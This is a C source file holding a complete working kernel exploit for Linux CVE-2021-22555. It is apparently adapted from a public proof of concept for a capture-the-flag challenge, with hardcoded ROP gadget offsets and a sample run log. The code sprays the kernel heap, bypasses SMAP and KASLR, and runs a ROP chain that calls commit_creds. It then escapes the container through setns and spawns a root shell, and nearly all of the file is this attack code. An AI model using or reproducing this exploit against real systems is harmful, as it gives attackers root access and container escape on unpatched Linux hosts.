/* https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c
 * compile exp: $ gcc -m32 -static -o exploit exploit.c
* 
 * /exp $ uname -a
 * Linux (none) 5.11.14 #2 SMP Tue Sep 21 17:46:57 PDT 2021 x86_64 GNU/Linux
 * /exp $ id
 * uid=1000(chal) gid=1000(chal) groups=1000(chal)
 * /exp $ ./exploit
 * [+] STAGE 0: Initialization
 * [*] Setting up namespace sandbox...
 * [*] Initializing sockets and message queues...

 * [+] STAGE 1: Memory corruption
 * [*] Spraying primary messages...
 * [*] Spraying secondary messages...
 * [*] Creating holes in primary messages...
 * [*] Triggering out-of-bounds write...
 * [   14.229356] x_tables: ip_tables: icmp.0 match: invalid size 8 (kernel) != (user) 3850
 * [*] Searching for corrupted primary message...
 * [+] fake_idx: ffb
 * [+] real_idx: feb

 * [+] STAGE 2: SMAP bypass
 * [*] Freeing real secondary message...
 * [*] Spraying fake secondary messages...
 * [*] Leaking adjacent secondary message...
 * [+] kheap_addr: ffff888008392000
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Leaking primary message...
 * [+] kheap_addr: ffff8880087a0000

 * [+] STAGE 3: KASLR bypass
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Freeing sk_buff data buffer...
 * [*] Spraying pipe_buffer objects...
 * [*] Leaking and freeing pipe_buffer object...
 * [+] anon_pipe_buf_ops: ffffffff8223e140
 * [+] kbase_addr: ffffffff81000000

 * [+] STAGE 4: Kernel code execution
 * [*] Spraying fake pipe_buffer objects...
 * [*] Releasing pipe_buffer objects...
 * [*] Checking for root...
 * [+] Root privileges gained.

 * [+] STAGE 5: Post-exploitation
 * [*] Escaping container...
 * [*] Cleaning up...
 * [*] Popping root shell...
 * / # id
 * uid=0(root) gid=0(root)
 */

// clang-format off
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// clang-format off
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x72e1ac                      // 0xffffffff8172e1ac: push rsi; jmp qword ptr [rsi + 0x39];
#define POP_RSP_RET 0x163ea0                                        // 0xffffffff81163ea0: pop rsp; ret; 
#define ADD_RSP_D0_RET 0x6f8c9                                      // 0xffffffff8106f8c9: add rsp, 0xd0; ret; 

#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0xea95d               // 0xffffffff810ea95d : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret              only ROPgadget can find
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x4cebe7  // 0xffffffff814cebe7: mov qword ptr [r12], rbx; pop rbx; pop r12; pop r13; pop rbp; ret;
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6ed6ef                   // 0xffffffff816ed6ef: push qword ptr [rbp + 0xa]; pop rbp; ret; 
#define MOV_RSP_RBP_POP_RBP_RET 0x8c5bc                             // 0xffffffff8108c5bc: mov rsp, rbp; pop rbp; ret;

#define POP_RCX_RET 0x5e5c73                                        // 0xffffffff81439b92: pop rcx; ret;          \x59\xc3     fault when debug, cannot use   $ objdump -d ./vmlinux_small -M intel | grep  "59 c3"  -> ffffffff815e5c72:	e8 59 c3 fe ff       	call   0xffffffff815d1fd0
#define POP_RSI_RET 0xb105e                                         // 0xffffffff810b105e: pop rsi; ret;
#define POP_RDI_RET 0x8c650                                         // 0xffffffff8108c650: pop rdi; ret;
#define POP_RBP_RET 0x69e                                           // 0xffffffff8100069e: pop rbp; ret;

#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x588d54                    // 0xffffffff81588d54: mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
#define CMP_RCX_4_JNE_POP_RBP_RET 0x7459b                           // 0xffffffff8107459b: cmp rcx, 4; jne 0x274579; pop rbp; ret; 

#define FIND_TASK_BY_VPID 0xc0a40           // ffffffff810c0a40 T find_task_by_vpid
#define SWITCH_TASK_NAMESPACES 0xc8ad0      // ffffffff810c8ad0 T switch_task_namespaces
#define COMMIT_CREDS 0xc9f00                // ffffffff810c9f00 T commit_creds
#define PREPARE_KERNEL_CRED 0xca3e0         // ffffffff810ca3e0 T prepare_kernel_cred

#define ANON_PIPE_BUF_OPS 0x123e140         // ffffffff8223e140 r anon_pipe_buf_ops
#define INIT_NSPROXY 0x186b540              // ffffffff8286b540 D init_nsproxy

// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};

struct {
  long mtype;
  char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
  long mtype;
  char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
  long mtype;
  char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
      0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, size) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }
  return 0;
}

int trigger_oob_write(int s) {
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;                     // 0x60
    struct ipt_entry entry;                         // 0x70
    struct xt_entry_match match;                    // 0x20
    char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];           //  kvmalloc_size = sizeof(xt_table_info) + ipt_replace->size =  0x40 + (0xFB8 - 0x2) = 0xFF8 - 0x2
    struct xt_entry_target target;                  // 0x20
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
                       sizeof(data.pad) + sizeof(data.target));             // 0x70 + (0x108+0x1000-0x200-0x2) + 0x20 + 0x20 = 0xFB8 - 0x2

  data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
                            sizeof(data.pad) + sizeof(data.target));        // Size of ipt_entry + matches + target
  data.entry.target_offset =
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));         // Size of ipt_entry + matches

  data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));   // 0x20 + (0x108+0x1000-0x200-0x2) = 0xF28 - 0x2
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size = sizeof(data.target);                     // 0x20
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;

  // Partially overwrite the adjacent buffer with 2 bytes of zero.
  if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
    if (errno == ENOPROTOOPT) {
      printf("[-] Error ip_tables module is not loaded.\n");
      return -1;
    }
  }

  return 0;
}

// Note: Must not touch offset 0x10-0x18.
void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
  uint64_t *rop;
  *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
  *(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

  rop = (uint64_t *)&buf[0xD8];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;                  // enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret 
  *rop++ = scratchpad_addr; // R12
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;      // mov qword ptr [r12], rbx; pop rbx; pop r12; pop r13; pop rbp; ret;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R12
  *rop++ = 0xDEADBEEF; // R13
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;                                            // pop rdi; ret;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RCX_RET;                                            // pop rcx; ret;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;                              // cmp rcx, 4; jne 0x274579; pop rbp; ret; 
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;                        // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)                 This step can be deleted. Not important.
  *rop++ = kbase_addr + POP_RDI_RET;                                            // pop rdi; ret;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;                                      // find_task_by_vpid
  *rop++ = kbase_addr + POP_RCX_RET;                                            // pop rcx; ret;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;                              // cmp rcx, 4; jne 0x274579; pop rbp; ret; 
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;                        // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
  *rop++ = kbase_addr + POP_RSI_RET;                                            // pop rsi; ret;
  *rop++ = kbase_addr + INIT_NSPROXY; // RSI                                    // init_nsproxy
  *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;                                 // switch_task_namespaces

  // Load RBP from scratchpad_addr and resume execution.
  *rop++ = kbase_addr + POP_RBP_RET;                                            // pop rbp; ret;
  *rop++ = scratchpad_addr - 0xA; // RBP
  *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;                       // push qword ptr [rbp + 0xa]; pop rbp; ret;
  *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;                                // mov rsp, rbp; pop rbp; ret;
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }

  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}

int main(int argc, char *argv[]) {
  int s;
  int fd;
  int ss[NUM_SOCKETS][2];
  int pipefd[NUM_PIPEFDS][2];
  int msqid[NUM_MSQIDS];

  char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
  char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

  struct msg_msg *msg;
  struct pipe_buf_operations *ops;
  struct pipe_buffer *buf;

  uint64_t pipe_buffer_ops = 0;
  uint64_t kheap_addr = 0, kbase_addr = 0;

  int fake_idx = -1, real_idx = -1;

  printf("[+] STAGE 0: Initialization\n");

  printf("[*] Setting up namespace sandbox...\n");
  if (setup_sandbox() < 0)
    goto err_no_rmid;

  printf("[*] Initializing sockets and message queues...\n");

  if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("[-] socket");
    goto err_no_rmid;
  }

  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
      perror("[-] socketpair");
      goto err_no_rmid;
    }
  }
// 1. two bytes null write -> UAF
// 1-1. gain 4096 msg queue
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
      perror("[-] msgget");
      goto err_no_rmid;
    }
  }

  printf("\n");
  printf("[+] STAGE 1: Memory corruption\n");
//1-2. create 4096 primary msg —— size=0x1000
  printf("[*] Spraying primary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_primary, 0, sizeof(msg_primary));
    *(int *)&msg_primary.mtext[0] = MSG_TAG;
    *(int *)&msg_primary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }
// 1-3. create 4096 secondary msg —— size=0x400
  printf("[*] Spraying secondary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    memset(&msg_secondary, 0, sizeof(msg_secondary));
    *(int *)&msg_secondary.mtext[0] = MSG_TAG;
    *(int *)&msg_secondary.mtext[4] = i;
    if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
                  MTYPE_SECONDARY) < 0)
      goto err_rmid;
  }
// 1-4. release #1024/#2048/#3072 msg
  printf("[*] Creating holes in primary messages...\n");
  for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
    if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
        0)
      goto err_rmid;
  }
// 1-5. make xt_table_info struct take up the hole, and triger 2 bytes null write
  printf("[*] Triggering out-of-bounds write...\n");
  if (trigger_oob_write(s) < 0)
    goto err_rmid;
// 1-6. find which msg is corrupted
  printf("[*] Searching for corrupted primary message...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i != 0 && (i % HOLE_STEP) == 0)
      continue;
    if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
      goto err_no_rmid;
    if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
      printf("[-] Error could not corrupt any primary message.\n");
      goto err_no_rmid;
    }
    if (*(int *)&msg_secondary.mtext[4] != i) {
      fake_idx = i;
      real_idx = *(int *)&msg_secondary.mtext[4];
      break;
    }
  }

  if (fake_idx == -1 && real_idx == -1) {
    printf("[-] Error could not corrupt any primary message.\n");
    goto err_no_rmid;
  }

  // fake_idx's primary message has a corrupted next pointer; wrongly pointing to real_idx's secondary message.
  printf("[+] fake_idx: %x\n", fake_idx);
  printf("[+] real_idx: %x\n", real_idx);

  printf("\n");
  printf("[+] STAGE 2: SMAP bypass\n");
// 2. leak secondary msg address (kmalloc-0x400) -> to forge `msg_msg->m_list->next & prev`
// 2-1. free overlapped msg
  printf("[*] Freeing real secondary message...\n");
  if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
               MTYPE_SECONDARY) < 0)
    goto err_rmid;

  // Reclaim the previously freed secondary message with a fake msg_msg of maximum possible size.
// 2-2. spray and forge msg_msg (forge larger msg_msg->m_ts)
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                PAGE_SIZE - MSG_MSG_SIZE, 0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;
// 2-2. leak heap pointer `msg_msg->m_list->prev` (kmalloc-0x1000)
  // Use the fake secondary message to read out-of-bounds.
  printf("[*] Leaking adjacent secondary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
    printf("[-] Error could not leak adjacent secondary message.\n");
    goto err_rmid;
  }

  // The secondary message contains a pointer to the primary message.
  msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (PRIMARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;
  printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

  if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
    printf("[-] Error kernel heap address is incorrect.\n");
    goto err_rmid;
  }
// 2-3. leak heap pointer `msg_msg->m_list->prev` (kmalloc-0x400)  (forge msg_msg->next)
  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

  // Put kheap_addr at next to leak its content. Assumes zero bytes before
  // kheap_addr.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
                sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);      // fist 8 bytes must be NULL
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;

  // Use the fake secondary message to read from kheap_addr.
  printf("[*] Leaking primary message...\n");
  if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
    goto err_rmid;

  // Check if the leak is valid.
  if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
    printf("[-] Error could not leak primary message.\n");
    goto err_rmid;
  }

  // The primary message contains a pointer to the secondary message.
  msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
  kheap_addr = msg->m_list_next;
  if (kheap_addr & (SECONDARY_SIZE - 1))
    kheap_addr = msg->m_list_prev;

  // Calculate the address of the fake secondary message.
  kheap_addr -= SECONDARY_SIZE;
  printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

  if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
    printf("[-] Error kernel heap address is incorrect.\n");
    goto err_rmid;
  }
// 3. leak kernel base
  printf("\n");
  printf("[+] STAGE 3: KASLR bypass\n");

  printf("[*] Freeing fake secondary messages...\n");
  free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// 3-1. forge `msg_msg->m_list->next & prev` so that list_del() does not crash.
  printf("[*] Spraying fake secondary messages...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;
// 3-2. free secondary msg
  printf("[*] Freeing sk_buff data buffer...\n");
  if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
    goto err_rmid;
// 3-3. spray pipe_buffer object
  printf("[*] Spraying pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (pipe(pipefd[i]) < 0) {
      perror("[-] pipe");
      goto err_rmid;
    }
    // Write something to populate pipe_buffer.
    if (write(pipefd[i][1], "pwn", 3) < 0) {
      perror("[-] write");
      goto err_rmid;
    }
  }
// 3-4. leak pipe_buffer->ops —— kernel base
  printf("[*] Leaking and freeing pipe_buffer object...\n");
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
        perror("[-] read");
        goto err_rmid;
      }
      if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
        pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
    }
  }

  kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
  printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
  printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

  if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
    printf("[-] Error kernel base address is incorrect.\n");
    goto err_rmid;
  }
// 4. hijack control-flow
  printf("\n");
  printf("[+] STAGE 4: Kernel code execution\n");
// 4-1. use skb to forge fake pipe_buffer
  printf("[*] Spraying fake pipe_buffer objects...\n");
  memset(secondary_buf, 0, sizeof(secondary_buf));
  buf = (struct pipe_buffer *)&secondary_buf;
  buf->ops = kheap_addr + 0x290;
  ops = (struct pipe_buf_operations *)&secondary_buf[0x290];

  // RSI points to &buf.
  ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;                  // 
// 4-2. construct ROP chain
  build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
  if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
    goto err_rmid;
// 4-3. trigger pipe_release()
  printf("[*] Releasing pipe_buffer objects...\n");
  for (int i = 0; i < NUM_PIPEFDS; i++) {
    if (close(pipefd[i][0]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
    if (close(pipefd[i][1]) < 0) {
      perror("[-] close");
      goto err_rmid;
    }
  }
// 4-4. get root
  printf("[*] Checking for root...\n");
  if ((fd = open("/flag", O_RDONLY)) < 0) {                 // /etc/shadow
    printf("[-] Error could not gain root privileges.\n");
    goto err_rmid;
  }
  close(fd);
  printf("[+] Root privileges gained.\n");

  printf("\n");
  printf("[+] STAGE 5: Post-exploitation\n");

  printf("[*] Escaping container...\n");
  setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  setns(open("/proc/1/ns/net", O_RDONLY), 0);

  printf("[*] Cleaning up...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    // TODO: Fix next pointer.
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }
  for (int i = 0; i < NUM_SOCKETS; i++) {
    if (close(ss[i][0]) < 0)
      perror("[-] close");
    if (close(ss[i][1]) < 0)
      perror("[-] close");
  }
  if (close(s) < 0)
    perror("[-] close");

  printf("[*] Popping root shell...\n");
  system("/bin/sh");                                          // char *args[] = {"/bin/bash", "-i", NULL};     execve(args[0], args, NULL);

  return 0;

err_rmid:
  for (int i = 0; i < NUM_MSQIDS; i++) {
    if (i == fake_idx)
      continue;
    if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
      perror("[-] msgctl");
  }

err_no_rmid:
  return 1;
}